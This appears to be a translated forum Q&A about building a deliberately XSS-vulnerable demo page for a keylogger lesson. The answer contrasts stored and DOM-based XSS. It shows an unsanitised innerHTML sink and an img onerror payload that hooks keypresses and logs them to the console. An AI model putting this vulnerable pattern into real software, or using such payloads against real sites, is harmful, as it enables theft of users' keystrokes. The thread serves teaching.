如何使用键盘记录器制作 XSS 易受攻击的站点?

How to make a XSS vulnerable site with a keyboard logger?

我想创建一个容易受到 XSS 攻击的网站,攻击者试图注入一个键盘记录器,记录该网站上每个受害者的击键。

Here是部署的网站,代码如下:

function submitted(){
    alert("Submitted!");
}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="index.js"></script>
</head>
<body>
    <h1>XSS keylogger test website</h1>
    <form id="form">
        <input type="text" id="fname" name="fname">
        <input type="submit" value="Submit" onclick="submitted()">
    </form>
</body>
</html>

包含可被注入的键盘记录器代码的 JS 脚本示例:

<script>
    function keyPressed(){
    alert("key pressed");
    }
    window.captureEvents (Event.KEYPRESS); 
    window.onkeypress=keyPressed; 
</script>

如果我只是将代码放在输入字段中,什么也不会发生。我怎样才能将代码嵌入到实际有效的网站中?

信息

该项目仅用于演示和学习目的。

正在提交的负载没有返回到可能导致 xss 的页面上。
在我看来,您必须在服务器端进行更改。

keylogger who logs the keystrokes of every victim on this website.

根据您的设置,XSS 并不是这样工作的。 XSS 的工作原理是:

  • 一个用户提交内容,然后服务器以不安全的方式将该内容呈现给其他用户。由于您的服务器不会保存 user-generated 内容(如在数据库中)然后将其显示给其他访问者,即使 考虑 这种方法也是 non-starter 因为你没有做那样的事情。
  • 或者,用户被诱骗提交内容,然后导致任意代码执行。这是一个问题,因为例如,该用户的登录凭据和其他数据可能会被盗(如果该站点具有此类功能)。考虑到任何设计不当的 front-end 设置,此 合理可行的 - 例如,通过将用户文本插入 HTML 而不进行清理(例如使用待办事项列表或其他东西) . (如果你不将用户的文本插入到 DOM 某处,则 XSS 关闭 table)

const fname = document.querySelector('#fname');
function submitted(){
    document.querySelector('.current-input-text').innerHTML = 'You submitted: ' + fname.value;
    fname.value = '';
}
fname.value = `
  <img src="bad" onerror='window.onkeypress = (e) => console.log(e.key + " PRESSED");'>`;
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="index.js"></script>
</head>
<body>
    <h1>XSS keylogger test website</h1>
    <form id="form" onsubmit="return false;">
        <input type="text" id="fname" name="fname">
        <input type="submit" value="Submit" onclick="submitted()">
    </form>
    <div class="current-input-text"></div>
</body>
</html>